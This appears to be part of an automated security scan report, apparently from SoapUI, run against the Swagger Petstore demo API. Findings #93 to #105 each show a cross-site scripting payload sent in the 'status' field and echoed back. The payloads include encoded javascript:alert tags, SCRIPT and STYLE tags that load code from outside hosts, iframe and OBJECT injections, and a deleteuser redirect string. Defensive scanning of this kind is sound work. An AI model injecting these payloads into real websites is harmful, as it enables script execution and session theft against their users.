Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"}

Response

Content-type: application/json
Content length: 364
Full response:

```
{"id":9216678377732944025,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&
#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&
#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00...
' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #93

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"}

Response

Content-type: application/json
Content length: 272
Full response:

```
{"id":9216678377732944026,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#
x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x...
' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #94

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<SCRIPT SRC=http://soapui.org/xss.js?<B>"}

Response

Content-type: application/json
Content length: 187

Full response:

```
{"id":9216678377732944040,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<SCRIPT SRC=http://soapui.org/xss.js?<B>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #95

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"< SCRIPT SRC=//ha.ckers.org/.j>"}

Response

Content-type: application/json
Content length: 177
Full response:

```
{"id":9216678377732944041,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<SCRIPT SRC=//ha.ckers.org/.j>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=//ha.ckers... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #96

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"< iframe src=http://soapui.org/scriptlet.html <"}

Response

Content-type: application/json
Content length: 193
Full response:

```
{"id":9216678377732944043,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<iframe src=http://soapui.org/scriptlet.html <"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<iframe src=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #97

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"}

Response

Content-type: application/json
Content length: 186
Full response:

```
{"id":9216678377732944044,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT>a=/XSS/alert(a... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #98

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"\\\";alert('XSS');//"}

Response

Content-type: application/json
Content length: 167
Full response:

```
{"id":9216678377732944045,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"\\\";alert('XSS');//"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '\";alert('XSS');//' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #99

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<BODY ONLOAD=alert('XSS')>"}

Response

Content-type: application/json
Content length: 173
Full response:

```
{"id":9216678377732944049,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<BODY ONLOAD=alert('XSS')>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<BODY ONLOAD=alert('XS... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #100

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>"}

Response

Content-type: application/json
Content length: 197
Full response:

```
{"id":9216678377732944057,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<STYLE>@import'http://soapui.org/xss.css';</STYLE>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<STYLE>@import'http://... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #101

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"}

Response

Content-type: application/json
Content length: 188
Full response:

```
{"id":9216678377732944065,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'ï¿½scriptï¿½alert(ï¿½X... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #102

Scan	Cross Site Scripting
Severity	ERROR
Endpoint	https://petstore.swagger.io/v2/pet
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1
Test Step	POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"}

Response

Content-type: application/json
Content length: 207
Full response:

```
{"id":9216678377732944084,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":
"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #103

Scan	Cross Site Scripting
Severity	ERROR
Endpoint	https://petstore.swagger.io/v2/pet
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1
Test Step	POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"< OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389> <param name=url value=javascript:alert('XSS')></OBJECT>"}

Response

Content-type: application/json
Content length: 261
Full response:

```
{"id":9216678377732944087,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #104

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"}

Response

Content-type: application/json
Content length: 205
Full response:

```
{"id":9216678377732944097,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.status` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #105